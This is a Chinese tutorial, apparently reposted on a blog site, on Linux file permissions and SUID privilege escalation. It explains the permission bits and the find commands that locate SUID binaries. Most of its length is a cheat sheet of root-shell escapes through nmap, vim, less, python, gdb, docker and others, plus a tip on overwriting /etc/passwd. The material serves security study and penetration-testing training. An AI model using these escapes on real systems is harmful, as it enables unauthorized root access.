Linux下SUID提权学习 - 从原理到使用

目录

  • 1. 文件权限介绍
    • 1.1 suid权限
    • 1.2 sgid权限
    • 1.3 sticky权限
  • 2. SUID权限
  • 3. 设置SUID权限
  • 4. SUID提权原理
  • 5. SUID提权步骤
  • 6. 常用指令的提权方法
    • 6.1 nmap
    • 6.2 find
    • 6.3 vim
    • 6.4 bash
    • 6.5 less
    • 6.6 more
    • 6.7 其他命令的提权方法

1. 文件权限介绍

linux的文件有普通权限和特殊权限(三种)。

普通权限一般为:rwx,分别为读写执行,对应的数字表示为421。

三种特殊权限为:suid权限,sgid权限,sticky权限。其中suid权限作用于文件属主,sgid权限作用于属组上,sticky权限作用于other其他上。


1.1 suid权限

作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。

suid权限使用s表示,增加权限u+s,移除权限u-s;

suid权限也可以使用数字形式表示,0表示去除suid权限,4表示添加suid权限,而且是在原权限的数字表达形式开头加0或4,如:0755移除suid权限,4755添加suid权限。


1.2 sgid权限

作用:sgid权限一般应用在目录上,当一个目录拥有sgid权限时,任何用户在该目录下创建的文件的属组都会继承该目录的属组。

sgid权限也使用s表示,增加权限g+s,移除权限g-s;

sgid权限也可以使用数字形式表示,0表示去除sgid权限,2表示添加sgid权限,而且是在原权限的数字表达形式开头加0或2,如:0755移除sgid权限,2755添加sgid权限。


1.3 sticky权限

作用:sticky权限一般针对目录来设置,作用是只允该目录下的文件的创建者删除自己的创建的文件,不允许其他人删除文件。(root用户除外,因为root用户是超级管理员),而且sticky权限只能设置在other位置上。

sticky权限使用t表示,增加权限o+t,移除权限o-t;

sticky权限也可以使用数字形式表示,0表示去除权限,1表示添加权限,而且是在原权限的数字表达形式开头加0或1,如下:如:0755移除sticky权限,1755添加sticky权限。


2. SUID权限


SUID(Set UID)权限:

  • 只针对二进制可执行(命令)文件,对于非可执行文件没有任何意义。
  • 执行者对于该文件需要具有x的可执行权限。
  • 在执行过程中,调用者会暂时获得该文件的所有者权限。
  • 本权限仅在执行该程序的过程中(run-time)有效。


查看文件是否具有suid权限:ls -al filename
例如:查看sudo文件的suid权限:ls -al /usr/bin/sudo
在这里插入图片描述


3. 设置SUID权限


  1. 方法一:sgid权限可以使用s表示。
chmod u+s filename  #增加suid权限
chmod u-s filename  #移除suid权限命令解释:
chmod WhoWhatWhich filename其中:Who(代表身份): u,g,o,a (user, group, other, all)What(代表动作): +, -, = (add, remove, set exact)Which(代表访问级别): r,w,x,s,t (read, write, execute,SUID/SGID,Sticky )

运行结果:

在这里插入图片描述



  1. 方法二:sgid权限也可以使用数字形式表示。0表示移除suid权限,4表示增加suid权限,而且是在原权限的数字表达形式开头加0或4。
chmod 0755 filename  #移除suid权限
chmod 4755 filename  #增加suid权限命令解释:
chmod OneTwoThreeFour filename
其中:One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1Two(所有者权限):读权限加4,写权限加2,执行权限加1Three(所有组权限):读权限加4,写权限加2,执行权限加1Four(其他用户权限):读权限加4,写权限加2,执行权限加1

运行结果:

在这里插入图片描述



4. SUID提权原理

SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。



5. SUID提权步骤


  1. 查找具备suid权限的文件。
  2. 查找对应文件的利用方法。不是所有文件都可以利用。



查找有suid权限文件的命令:以下三条命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -perm -u=s -type f 2>/dev/null命令解释:/ 表示从文件系统的顶部(根)开始,查找每个目录-perm 表示搜索后面的权限-u=s 表示查找 root 用户拥有的文件-type 表示我们正在寻找的文件类型f 表示普通文件,而不是目录或特殊文件2 表示到进程的第二个文件描述符,即 stderr(标准错误)> 表示重定向/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

运行结果:
在这里插入图片描述

find / -user root -perm -4000 -print 2>/dev/null命令解释:-user root 表示文件的所有者是root-perm 表示搜索后面的权限-4000 表示查找有suid权限位的文件

运行结果:

在这里插入图片描述

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null参数解释:-exec 表示查找到文件后要执行的命令ls -ldb {} \;  其中 -l 表示以长格式显示当前目录中的文件和目录-d 表示目录-b 表示块设备{} 表示find查找出来的文件\ 表示转义,和{}之间需要有空格; 表示要执行的命令的结束符

运行结果:
在这里插入图片描述



6. 常用指令的提权方法


已知具有suid权限的常用的二进制文件大体有:nmap,vim,find,bash,more,less,nano,cp,awk等。


6.1 nmap

适用版本:nmap2.02到5.21。

在早期的nmap版本中,带有交互模式,所以允许用户执行shell命令。

进入nmap交互模式:nmap --interactive

在nmap的交互模式中,通过如下命令提权:

nmap> !sh
sh-3.2# whoami
root

在msf中也又利用nmap进行提权的模块:exploit/unix/local/setuid_nmap


6.2 find

find用来在系统中查找文件。同时具有执行命令的能力。因此,如果配置了suid权限,则可以通过find执行的命令都可以用root身份去执行。

通过如下命令提权:

touch anyfile #新建一个文件anyfile,必须要有这个文件
find anyfile -exec whoami \;  #通过文件anyfile执行命令whoami

因此可以利用nc命令来反弹shell。


6.3 vim

vim的主要作用是做编辑器。如果配置了suid权限,将会继承root权限,因此可以读取系统上所有文件。

通过如下命令提权:

vim.tiny  /etc/passwdvim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

6.4 bash

以下命令将以root身份打开一个bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

6.5 less

less命令也可以进入shell:

less /etc/passwd
#在less中输入:
!/bin/sh

要注意的是使用less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


6.6 more

more命令进入shell和less相同:

more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


6.7 其他命令的提权方法

命令利用方法
zshzsh
xargsxargs -a /dev/null sh -p
watchwatch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeouttimeout 7d /bin/sh -p
timetime /bin/sh -p
tclsh1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
tasksettaskset 1 /bin/sh -p
stdbufstdbuf -i0 /bin/sh -p
stracestrace -o /dev/null /bin/sh -p
sshssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarchsetarch $(arch) /bin/sh -p
rsyncrsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpmrpm --eval ‘%{lua:os.execute(“/bin/sh -p”)}’
pythonpython -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
php1、CMD=“/bin/sh” 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nicenice /bin/sh -p
nano1、nano //运行nano程序 2、Ctrl + R //按下ctrl+r 3、Ctrl + X //按下ctrl+x 4、reset; sh -p 1>&0 2>&0 //输入命令
more1、more /etc/profile 2、!/bin/sh -p
logsavelogsave /dev/null /bin/sh -i -p
lessless /etc/profile //读取文件,在底行输入!/bin/sh -p
kshksh -p
ip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ioniceionice /bin/sh -p
gitgit help status
gimpgimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
gdbgdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit
ftpftp //在底行输入“!/bin/sh -p”
flockflock -u / /bin/sh -p
findfind . -exec /bin/sh -p ; -quit
expectexpect -c ‘spawn /bin/sh -p;interact’
envenv /bin/sh -p
eded //在底行输入“!/bin/sh -p”
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesgdmesg -H//在底行输入“!/bin/sh -p”
cshcsh -b
bashbash -p
awkawk ‘BEGIN {system(“/bin/bash -p”)}’
perlperl exec “/bin/bash”;
cp使用cp命令覆盖原来的/etc/passwd文件。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/38846.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机毕业设计Python深度学习美食推荐系统 美食可视化 美食数据分析大屏 美食爬虫 美团爬虫 机器学习 大数据毕业设计 Django Vue.js

Python美食推荐系统开题报告 一、项目背景与意义 随着互联网和移动技术的飞速发展&#xff0c;人们的生活方式发生了巨大变化&#xff0c;尤其是餐饮行业。在线美食平台如雨后春笋般涌现&#xff0c;为用户提供了丰富的美食选择。然而&#xff0c;如何在海量的餐饮信息中快速…

token的原理,机制

什么是token token的意思是“令牌”&#xff0c;更通俗点说其实就是一种通信双方之间的暗号&#xff0c;大家应该都看过谍战片吧&#xff0c;里面地下党接头都免不了说一堆只有他们自己明白&#xff0c;而别人却一头雾水的废话。token其实也是一样的&#xff0c;是当客户端第一…

(1)Jupyter Notebook 下载及安装

目录 1. Jupyter Notebook是什么&#xff1f;2. Jupyter Notebook特征3. 应用3. 利用Google Colab安装Jupyter Notebook3.1 什么是 Colab&#xff1f;3.2 访问 Google Colab 1. Jupyter Notebook是什么&#xff1f; 百度百科: Jupyter Notebook&#xff08;此前被称为 IPython …

Unity Shader 软粒子

Unity Shader 软粒子 前言项目Shader连连看项目渲染管线设置 鸣谢 前言 当场景有点单调的时候&#xff0c;就需要一些粒子点缀&#xff0c;此时软粒子就可以发挥作用了。 使用软粒子与未使用软粒子对比图 项目 Shader连连看 这里插播一点&#xff0c;可以用Vertex Color与…

ARP 原理详解 二

只要确定了 IP 地址后&#xff0c;就能够向这个 IP 地址所在的主机发送数据报&#xff0c;这是我们所熟知的事情。 但是再往深了想&#xff0c;IP 地址只是标识网络层的地址&#xff0c;那么在网络层下方数据链路层是不是也有一个地址能够告诉对方主机自己的地址呢&#xff1f…

生产环境部署与协同开发-Docker(原创超全)

关闭防火墙 systemctl stop firewalld.service 关闭SELinux vim /etc/selinux/config 查看yum支持的包并安装docker引擎 yum listyum install -y docker 启动docker设置docker自启动测试docker是否安装成功&#xff1f; systemctl start dockersystemctl enable dockerdoc…

服务器使用别人的conda

很多台机器都共用一个conda时候&#xff0c;可以在conda的bin目录下运行./conda init来使得该环境机器用这个conda作为默认的conda。 但是有个环境报错&#xff1a; -bash: ./conda: /apdcephfs_cq8/share_1367250/jaimeji/anaconda/jaime_conda/bin/python: bad interpreter:…

电路笔记(三极管器件): MOSFETIGBT

MOSFET vs IGBT MOSFET主要用于低电压和功率系统&#xff0c;而IGBT更适合高电压和功率系统。 1. MOSFET&#xff08;金属氧化物半导体场效应晶体管&#xff09; 优势&#xff1a; 高开关速度和响应速度&#xff0c;适合高频应用。&#xff08;IGBT不适合高频应用&#xff0c…

算法基础-----【动态规划】

动态规划(待完善) 动规五部曲分别为&#xff1a; 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式&#xff08;状态转移公式&#xff09;dp数组如何初始化确定遍历顺序举例推导dp数组、 动态规划的核心就是递归剪枝&#xff08;存储键值&#xff0c;…

教师备课三要素是指什么内容

在教育的舞台上&#xff0c;教师的角色至关重要。他们不仅是知识的传递者&#xff0c;更是学生学习路上的引导者。那么&#xff0c;教师备课的三要素究竟是什么呢&#xff1f;这不仅是每个教师在教学过程中必须面对的问题&#xff0c;也是他们不断探索和实践的课题。 教师备课的…

/proc/config.gz

前言 有时候&#xff0c;我们想知道一个运行着的内核都打开了哪些编译选项&#xff0c;当然&#xff0c;查看编译环境的 .config 文件是一个不错的选择&#xff0c;除此之外&#xff0c;还有没有别的办法呢&#xff1f;当然有&#xff0c;那就是 /proc/config.gz。 一睹风采 …

leetcode 404 周赛 找出有效子序列的最大长度 II「暴力」「动态规划」

3202. 找出有效子序列的最大长度 II 题目描述 给你一个整数数组 n u m s nums nums和一个正整数 k k k n u m s nums nums 的一个子序列 s u b sub sub的长度为 x x x &#xff0c;如果其满足以下条件&#xff0c;则称其为 有效子序列 ( s u b [ 0 ] s u b [ 1 ] ) % k ( …

如何通过TPM活动提升员工的设备管理能力?

在快节奏的现代职场中&#xff0c;设备管理能力已成为员工综合素质的重要一环。然而&#xff0c;如何有效提升这一能力&#xff0c;让员工在设备操作、维护和管理上更加得心应手呢&#xff1f;答案就隐藏在TPM&#xff08;Total Productive Maintenance&#xff0c;全面生产维护…

Python容器 之 列表--定义

1.什么是列表呢&#xff1f; 列表(list)是 Python 中使用最频繁的数据类型, 在其他语言中通常叫做数组, 专门用来存储一组数据 列表,list, 使用 [ ] 列表可以存放任意多个数据 列表中可以存放任意类型的数据 列表中数据之间 使用 逗号隔开 2.列表如何定义&#xff1f; &#…

【TB作品】atmega16 计算器,ATMEGA16单片机,Proteus仿真

实验报告&#xff1a;基于ATmega16单片机的简易计算器设计 1. 实验背景 计算器是日常生活和工作中不可或缺的工具&#xff0c;通过按键输入即可实现基本的四则运算。通过本实验&#xff0c;我们将利用ATmega16单片机、矩阵键盘和LCD1602显示屏&#xff0c;设计并实现一个简易…

Lua协程介绍

Lua协程 协程什么是协程协程的特点协程和线程的区别协程的工作原理 Lua协程示例 协程 什么是协程 协程&#xff08;coroutine&#xff09;是一种程序组件&#xff0c;它允许执行代码在不同的点暂停和恢复&#xff0c;从而实现协作式的多任务处理。与传统的线程不同&#xff0c…

2023软考中级《软件设计师》(备考冲刺版) | 数据库系统

目录 1.数据库的基本概念 1.1 数据库体系结构 1.2 三级模式结构 1.3 数据仓库 2.数据库设计过程 2.1 概念结构设计 2.1.1 概念设计过程 2.1.2 E-R图 2.2 逻辑结构设计 2.2.1 关系模式相关概念 2.2.2 E-R图转关系模式&#xff08;涉及下午题&#xff09; 2.2.3 关系…

小白学习手册:轻松理解MQ消息队列

目录 # 开篇 RabbitMQ介绍 通讯概念 1. 初始MQ及类型 2. MQ的架构 2.1 RabbitMQ的结构和概念 2.2 RabbitMQ消息流示意图 3. MQ下载使用 3.1 Docker下载MQ参考 3.2 进入RabbitMQ # 开篇 MessagesQueue 是一个抽象概念&#xff0c;用于描述消息队列系统的一般特性和功能…

python如何求不定积分

sympy介绍 sympy库的安装非常的简单&#xff0c;利用conda命令可以快速的完成安装。 conda install sympy 接下来&#xff0c;我们将介绍利用第三方库sympy来完成积分的计算。 python求解不定积分 接下来&#xff0c;我们将介绍上述的不定积分的求解。 首先导入sympy库中的…

如何应对情绪和培养理性的书

以下是几本关于如何应对情绪和培养理性的书籍推荐&#xff1a; 《情绪智商》&#xff08;Emotional Intelligence&#xff09; - 丹尼尔戈尔曼&#xff08;Daniel Goleman&#xff09; 这本书探讨了情绪智商&#xff08;EQ&#xff09;的重要性以及如何通过提高EQ来改善个人和职…